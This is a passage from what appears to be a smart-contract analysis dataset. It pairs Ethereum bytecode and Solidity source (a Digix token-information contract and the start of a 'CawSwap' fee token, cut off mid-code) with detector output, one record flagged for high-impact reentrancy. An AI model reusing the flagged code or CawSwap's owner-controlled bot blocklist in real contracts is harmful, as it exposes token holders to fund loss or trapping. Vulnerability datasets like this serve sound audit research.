9119190611669565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094181610516565b6000806109566000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f2919061184b565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6d57600080fd5b505af1158015610a81573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a29190611815565b600d546001600160a01b0316336001600160a01b031614610af75760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600b55565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610ef3576001600160a01b03831660009081526006602052604090205460ff16158015610dbb57506001600160a01b03821660009081526006602052604090205460ff16155b610dc457600080fd5b600f546001600160a01b038481169116148015610def5750600e546001600160a01b03838116911614155b8015610e1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e295750600f54600160b81b900460ff165b15610e8657601054811115610e3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6157600080fd5b610e6c42601e611974565b6001600160a01b0383166000908152600760205260409020555b6000610e9130610516565b600f54909150600160a81b900460ff16158015610ebc5750600f546001600160a01b03858116911614155b8015610ed15750600f54600160b01b900460ff165b15610ef157610edf81611046565b478015610eef57610eef47610f3d565b505b505b610efe8383836111cf565b505050565b60008184841115610f275760405162461bcd60e51b81526004016104779190611879565b506000610f3484866119cd565b95945050505050565b600c546001600160a01b03166108fc610f578360026111da565b6040518115909202916000818181858888f19350505050158015610f7f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9a8360026111da565b6040518115909202916000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006008548211156110295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b600061103361121c565b905061103f83826111da565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108e5761108e611a15565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e257600080fd5b505afa1580156110f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111a9190611669565b8160018151811061112d5761112d611a15565b6001600160a01b039283166020918202929092010152600e546111539130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118c908590600090869030904290600401611903565b600060405180830381600087803b1580156111a657600080fd5b505af11580156111ba573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610efe83838361123f565b600061103f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b6000806000611229611364565b909250905061123882826111da565b9250505090565b600080600080600080611251876113ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112839087611409565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b2908661144b565b6001600160a01b0389166000908152600260205260409020556112d4816114aa565b6112de84836114f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132391815260200190565b60405180910390a3505050505050505050565b600081836113575760405162461bcd60e51b81526004016104779190611879565b506000610f34848661198c565b60085460009081906b033b2e3c9fd0803ce800000061138382826111da565b8210156113a3575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113c98a600a54600b54611518565b92509250925060006113d961121c565b905060008060006113ec8e87878761156d565b919e509c509a509598509396509194505050505091939550919395565b600061103f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f03565b6000806114588385611974565b90508381101561103f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114b461121c565b905060006114c283836115bd565b306000908152600260205260409020549091506114df908261144b565b30600090815260026020526040902055505050565b6008546115019083611409565b600855600954611511908261144b565b6009555050565b6000808080611532606461152c89896115bd565b906111da565b90506000611545606461152c8a896115bd565b9050600061155d826115578b86611409565b90611409565b9992985090965090945050505050565b600080808061157c88866115bd565b9050600061158a88876115bd565b9050600061159888886115bd565b905060006115aa826115578686611409565b939b939a50919850919650505050505050565b6000826115cc575060006103de565b60006115d883856119ae565b9050826115e5858361198c565b1461103f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b803561164781611a41565b919050565b60006020828403121561165e57600080fd5b813561103f81611a41565b60006020828403121561167b57600080fd5b815161103f81611a41565b6000806040838503121561169957600080fd5b82356116a481611a41565b915060208301356116b481611a41565b809150509250929050565b6000806000606084860312156116d457600080fd5b83356116df81611a41565b925060208401356116ef81611a41565b929592945050506040919091013590565b6000806040838503121561171357600080fd5b823561171e81611a41565b946020939093013593505050565b6000602080838503121561173f57600080fd5b823567ffffffffffffffff8082111561175757600080fd5b818501915085601f83011261176b57600080fd5b81358181111561177d5761177d611a2b565b8060051b604051601f19603f830116810181811085821117156117a2576117a2611a2b565b604052828152858101935084860182860187018a10156117c157600080fd5b600095505b838610156117eb576117d78161163c565b8552600195909501949386019386016117c6565b5098975050505050505050565b60006020828403121561180a57600080fd5b813561103f81611a56565b60006020828403121561182757600080fd5b815161103f81611a56565b60006020828403121561184457600080fd5b5035919050565b60008060006060848603121561186057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a65785810183015185820160400152820161188a565b818111156118b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611987576119876119ff565b500190565b6000826119a957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119c8576119c86119ff565b500290565b6000828210156119df576119df6119ff565b500390565b60006000198214156119f8576119f86119ff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051357600080fd5b801515811461051357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220366f0f519ace993715767a1efdf948f5158bd41432e625883c03293297f7387e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
406
0xbb246ee3fa95b88b3b55a796346313738c6e0150
pragma solidity ^0.4.19; contract DigixConstants { /// general constants uint256 constant SECONDS_IN_A_DAY = 24 * 60 * 60; /// asset events uint256 constant ASSET_EVENT_CREATED_VENDOR_ORDER = 1; uint256 constant ASSET_EVENT_CREATED_TRANSFER_ORDER = 2; uint256 constant ASSET_EVENT_CREATED_REPLACEMENT_ORDER = 3; uint256 constant ASSET_EVENT_FULFILLED_VENDOR_ORDER = 4; uint256 constant ASSET_EVENT_FULFILLED_TRANSFER_ORDER = 5; uint256 constant ASSET_EVENT_FULFILLED_REPLACEMENT_ORDER = 6; uint256 constant ASSET_EVENT_MINTED = 7; uint256 constant ASSET_EVENT_MINTED_REPLACEMENT = 8; uint256 constant ASSET_EVENT_RECASTED = 9; uint256 constant ASSET_EVENT_REDEEMED = 10; uint256 constant ASSET_EVENT_FAILED_AUDIT = 11; uint256 constant ASSET_EVENT_ADMIN_FAILED = 12; uint256 constant ASSET_EVENT_REMINTED = 13; /// roles uint256 constant ROLE_ZERO_ANYONE = 0; uint256 constant ROLE_ROOT = 1; uint256 constant ROLE_VENDOR = 2; uint256 constant ROLE_XFERAUTH = 3; uint256 constant ROLE_POPADMIN = 4; uint256 constant ROLE_CUSTODIAN = 5; uint256 constant ROLE_AUDITOR = 6; uint256 constant ROLE_MARKETPLACE_ADMIN = 7; uint256 constant ROLE_KYC_ADMIN = 8; uint256 constant ROLE_FEES_ADMIN = 9; uint256 constant ROLE_DOCS_UPLOADER = 10; uint256 constant ROLE_KYC_RECASTER = 11; uint256 constant ROLE_FEES_DISTRIBUTION_ADMIN = 12; /// states uint256 constant STATE_ZERO_UNDEFINED = 0; uint256 constant STATE_CREATED = 1; uint256 constant STATE_VENDOR_ORDER = 2; uint256 constant STATE_TRANSFER = 3; uint256 constant STATE_CUSTODIAN_DELIVERY = 4; uint256 constant STATE_MINTED = 5; uint256 constant STATE_AUDIT_FAILURE = 6; uint256 constant STATE_REPLACEMENT_ORDER = 7; uint256 constant STATE_REPLACEMENT_DELIVERY = 8; uint256 constant STATE_RECASTED = 9; uint256 constant STATE_REDEEMED = 10; uint256 constant STATE_ADMIN_FAILURE = 11; /// interactive contracts bytes32 constant CONTRACT_INTERACTIVE_ASSETS_EXPLORER = "i:asset:explorer"; bytes32 constant CONTRACT_INTERACTIVE_DIGIX_DIRECTORY = "i:directory"; bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE = "i:mp"; bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_ADMIN = "i:mpadmin"; bytes32 constant CONTRACT_INTERACTIVE_POPADMIN = "i:popadmin"; bytes32 constant CONTRACT_INTERACTIVE_PRODUCTS_LIST = "i:products"; bytes32 constant CONTRACT_INTERACTIVE_TOKEN = "i:token"; bytes32 constant CONTRACT_INTERACTIVE_BULK_WRAPPER = "i:bulk-wrapper"; bytes32 constant CONTRACT_INTERACTIVE_TOKEN_CONFIG = "i:token:config"; bytes32 constant CONTRACT_INTERACTIVE_TOKEN_INFORMATION = "i:token:information"; bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION = "i:mp:information"; bytes32 constant CONTRACT_INTERACTIVE_IDENTITY = "i:identity"; /// controller contracts bytes32 constant CONTRACT_CONTROLLER_ASSETS = "c:asset"; bytes32 constant CONTRACT_CONTROLLER_ASSETS_RECAST = "c:asset:recast"; bytes32 constant CONTRACT_CONTROLLER_ASSETS_EXPLORER = "c:explorer"; bytes32 constant CONTRACT_CONTROLLER_DIGIX_DIRECTORY = "c:directory"; bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE = "c:mp"; bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE_ADMIN = "c:mpadmin"; bytes32 constant CONTRACT_CONTROLLER_PRODUCTS_LIST = "c:products"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_APPROVAL = "c:token:approval"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_CONFIG = "c:token:config"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_INFO = "c:token:info"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_TRANSFER = "c:token:transfer"; bytes32 constant CONTRACT_CONTROLLER_JOB_ID = "c:jobid"; bytes32 constant CONTRACT_CONTROLLER_IDENTITY = "c:identity"; /// storage contracts bytes32 constant CONTRACT_STORAGE_ASSETS = "s:asset"; bytes32 constant CONTRACT_STORAGE_ASSET_EVENTS = "s:asset:events"; bytes32 constant CONTRACT_STORAGE_DIGIX_DIRECTORY = "s:directory"; bytes32 constant CONTRACT_STORAGE_MARKETPLACE = "s:mp"; bytes32 constant CONTRACT_STORAGE_PRODUCTS_LIST = "s:products"; bytes32 constant CONTRACT_STORAGE_GOLD_TOKEN = "s:goldtoken"; bytes32 constant CONTRACT_STORAGE_JOB_ID = "s:jobid"; bytes32 constant CONTRACT_STORAGE_IDENTITY = "s:identity"; /// service contracts bytes32 constant CONTRACT_SERVICE_TOKEN_DEMURRAGE = "sv:tdemurrage"; bytes32 constant CONTRACT_SERVICE_MARKETPLACE = "sv:mp"; bytes32 constant CONTRACT_SERVICE_DIRECTORY = "sv:directory"; /// fees distributors bytes32 constant CONTRACT_DEMURRAGE_FEES_DISTRIBUTOR = "fees:distributor:demurrage"; bytes32 constant CONTRACT_RECAST_FEES_DISTRIBUTOR = "fees:distributor:recast"; bytes32 constant CONTRACT_TRANSFER_FEES_DISTRIBUTOR = "fees:distributor:transfer"; } contract ContractResolver { address public owner; bool public locked; function init_register_contract(bytes32 _key, address _contract_address) public returns (bool _success); function unregister_contract(bytes32 _key) public returns (bool _success); function get_contract(bytes32 _key) public constant returns (address _contract); } contract ResolverClient { /// The address of the resolver contract for this project address public resolver; /// The key to identify this contract bytes32 public key; /// Make our own address available to us as a constant address public CONTRACT_ADDRESS; /// Function modifier to check if msg.sender corresponds to the resolved address of a given key /// @param _contract The resolver key modifier if_sender_is(bytes32 _contract) { require(msg.sender == ContractResolver(resolver).get_contract(_contract)); _; } /// Function modifier to check resolver's locking status. modifier unless_resolver_is_locked() { require(is_locked() == false); _; } /// @dev Initialize new contract /// @param _key the resolver key for this contract /// @return _success if the initialization is successful function init(bytes32 _key, address _resolver) internal returns (bool _success) { bool _is_locked = ContractResolver(_resolver).locked(); if (_is_locked == false) { CONTRACT_ADDRESS = address(this); resolver = _resolver; key = _key; require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS)); _success = true; } else { _success = false; } } /// @dev Destroy the contract and unregister self from the ContractResolver /// @dev Can only be called by the owner of ContractResolver function destroy() public returns (bool _success) { bool _is_locked = ContractResolver(resolver).locked(); require(!_is_locked); address _owner_of_contract_resolver = ContractResolver(resolver).owner(); require(msg.sender == _owner_of_contract_resolver); _success = ContractResolver(resolver).unregister_contract(key); require(_success); selfdestruct(_owner_of_contract_resolver); } /// @dev Check if resolver is locked /// @return _locked if the resolver is currently locked function is_locked() private constant returns (bool _locked) { _locked = ContractResolver(resolver).locked(); } /// @dev Get the address of a contract /// @param _key the resolver key to look up /// @return _contract the address of the contract function get_contract(bytes32 _key) public constant returns (address _contract) { _contract = ContractResolver(resolver).get_contract(_key); } } contract GoldTokenStorage { function read_collectors_addresses() constant public returns (address[3] _collectors); function read_demurrage_config_underlying() public constant returns (uint256 _base, uint256 _rate, address _collector, bool _no_demurrage_fee); function read_recast_config() constant public returns (uint256 _base, uint256 _rate, uint256 _total_supply, uint256 _effective_total_supply, address _collector, uint256 _collector_balance); function read_transfer_config() public constant returns (uint256 _collector_balance, uint256 _base, uint256 _rate, address _collector, bool _no_transfer_fee, uint256 _minimum_transfer_amount); } contract ERCTwenty { function balanceOf( address who ) constant public returns (uint value); } /// @title Digix Gold Token's Information /// @author Digix Holdings Pte Ltd /// @notice This contract is used to read configs and information related to the Digix Gold Token contract TokenInformation is ResolverClient, DigixConstants { function TokenInformation(address _resolver) public { require(init(CONTRACT_INTERACTIVE_TOKEN_INFORMATION, _resolver)); } function gold_token_storage() internal constant returns (GoldTokenStorage _contract) { _contract = GoldTokenStorage(get_contract(CONTRACT_STORAGE_GOLD_TOKEN)); } function token() internal constant returns (ERCTwenty _contract) { _contract = ERCTwenty(get_contract(CONTRACT_INTERACTIVE_TOKEN)); } /// @dev read the addresses of the fees collectors /// @return _collectors the addresses (_collectors[0] = demurrage, _collectors[1] = recast, _collectors[2] = transfer) function showCollectorsAddresses() public constant returns (address[3] _collectors) { // order: demurrage, recast, transfer _collectors = gold_token_storage().read_collectors_addresses(); } /// @dev read the balances of the fees collectors addresses /// @return _balances the balances (_balances[0] = demurrage, _balances[1] = recast, _balances[2] = transfer) function showCollectorsBalances() public constant returns (uint256[3] _balances) { // order: demurrage, recast, transfer address[3] memory _collectors = showCollectorsAddresses(); for (uint256 i=0;i<3;i++) { _balances[i] = token().balanceOf(_collectors[i]); } } /// @dev read the demurrage configurations /// @return { /// "_base": "denominator for calculating demurrage fees", /// "_rate": "numerator for calculating demurrage fees", /// "_collector": "ethereum address of the demurrage fees collector" /// "_no_demurrage_fee": "true if demurrage fees is turned off globally" /// } function showDemurrageConfigs() public constant returns (uint256 _base, uint256 _rate, address _collector, bool _no_demurrage_fee) { (_base, _rate, _collector, _no_demurrage_fee) = gold_token_storage().read_demurrage_config_underlying(); } /// @dev read the recast configurations /// @return { /// "_base": "denominator for calculating recast fees", /// "_rate": "numerator for calculating recast fees", /// "_collector": "ethereum address of the recast fees collector" /// } function showRecastConfigs() public constant returns (uint256 _base, uint256 _rate, address _collector) { (_base, _rate,,, _collector,) = gold_token_storage().read_recast_config(); } /// @dev read transfer configurations /// @return { /// "_base": "denominator for calculating transfer fees", /// "_rate": "numerator for calculating transfer fees", /// "_collector": "the ethereum address of the transfer fees collector", /// "_no_transfer_fee": "true if transfer fees is turned off globally", /// "_minimum_transfer_amount": "minimum amount of DGX that can be transferred" /// } function showTransferConfigs() public constant returns (uint256 _base, uint256 _rate, address _collector, bool _no_transfer_fee, uint256 _minimum_transfer_amount) { (,_base, _rate, _collector, _no_transfer_fee, _minimum_transfer_amount) = gold_token_storage().read_transfer_config(); } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806304f3bcec146100a9578063293f9a9c146100fe57806329bb4bf21461016c5780633943380c146101bd5780633f83acff146101ee5780637e43185a1461025557806383197ef0146102a6578063ae4aadbb146102d3578063cdb627b214610348578063db4ecbc1146103ab575b600080fd5b34156100b457600080fd5b6100bc610400565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561010957600080fd5b610111610425565b604051808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200194505050505060405180910390f35b341561017757600080fd5b61017f6104e1565b6040518082600360200280838360005b838110156101aa57808201518184015260208101905061018f565b5050505090500191505060405180910390f35b34156101c857600080fd5b6101d061060b565b60405180826000191660001916815260200191505060405180910390f35b34156101f957600080fd5b610213600480803560001916906020019091905050610611565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561026057600080fd5b6102686106d5565b6040518082600360200280838360005b83811015610293578082015181840152602081019050610278565b5050505090500191505060405180910390f35b34156102b157600080fd5b6102b9610773565b604051808215151515815260200191505060405180910390f35b34156102de57600080fd5b6102e66109f7565b604051808681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001831515151581526020018281526020019550505050505060405180910390f35b341561035357600080fd5b61035b610acc565b604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390f35b34156103b657600080fd5b6103be610b96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080610433610bbc565b73ffffffffffffffffffffffffffffffffffffffff1663493f8d306000604051608001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401608060405180830381600087803b151561049e57600080fd5b6102c65a03f115156104af57600080fd5b505050604051805190602001805190602001805190602001805190508094508195508296508397505050505090919293565b6104e9610c1c565b6104f1610c44565b60006104fb6106d5565b9150600090505b600381101561060657610513610bec565b73ffffffffffffffffffffffffffffffffffffffff166370a08231838360038110151561053c57fe5b60200201516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156105c757600080fd5b6102c65a03f115156105d857600080fd5b5050506040518051905083826003811015156105f057fe5b6020020181815250508080600101915050610502565b505090565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633f83acff836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15156106b357600080fd5b6102c65a03f115156106c457600080fd5b505050604051805190509050919050565b6106dd610c44565b6106e5610bbc565b73ffffffffffffffffffffffffffffffffffffffff16633982b10d6000604051606001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401606060405180830381600087803b151561075057600080fd5b6102c65a03f1151561076157600080fd5b50505060405180606001604052905090565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf3090126000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561080557600080fd5b6102c65a03f1151561081657600080fd5b5050506040518051905091508115151561082f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156108bc57600080fd5b6102c65a03f115156108cd57600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c8b56bda6001546000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15156109b557600080fd5b6102c65a03f115156109c657600080fd5b5050506040518051905092508215156109de57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b6000806000806000610a07610bbc565b73ffffffffffffffffffffffffffffffffffffffff1663e2958974600060405160c001526040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160c060405180830381600087803b1515610a7257600080fd5b6102c65a03f11515610a8357600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051905090919293945080955081965082975083985084995050505050509091929394565b6000806000610ad9610bbc565b73ffffffffffffffffffffffffffffffffffffffff1663fe4215f7600060405160c001526040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160c060405180830381600087803b1515610b4457600080fd5b6102c65a03f11515610b5557600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190509091925090915050809350819450829550505050909192565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610be77f733a676f6c64746f6b656e000000000000000000000000000000000000000000610611565b905090565b6000610c177f693a746f6b656e00000000000000000000000000000000000000000000000000610611565b905090565b6060604051908101604052806003905b6000815260200190600190039081610c2c5790505090565b6060604051908101604052806003905b600073ffffffffffffffffffffffffffffffffffffffff16815260200190600190039081610c545790505090565b6000808273ffffffffffffffffffffffffffffffffffffffff1663cf3090126000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610cf157600080fd5b6102c65a03f11515610d0257600080fd5b505050604051805190509050600015158115151415610ece5730600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600181600019169055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c0f6ef4a600154600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610e9f57600080fd5b6102c65a03f11515610eb057600080fd5b505050604051805190501515610ec557600080fd5b60019150610ed3565b600091505b50929150505600a165627a7a72305820b905721ff14875d3d7f2be7a6829bd3cd19e7a38c1ff6f64de7b7696292f612b0029
{"success": true, "error": null, "results": {}}
407
0x8e8e4726a043d98e5fb3dd9a604e57c3c7e218f1
/** * CawSwap */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Cawswap is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "CawSwap"; string private constant _symbol = "CAWSWAP"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x1783A151F3780832823B044403aA1AC4a94d0ad6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 7; if (from != owner() && to != 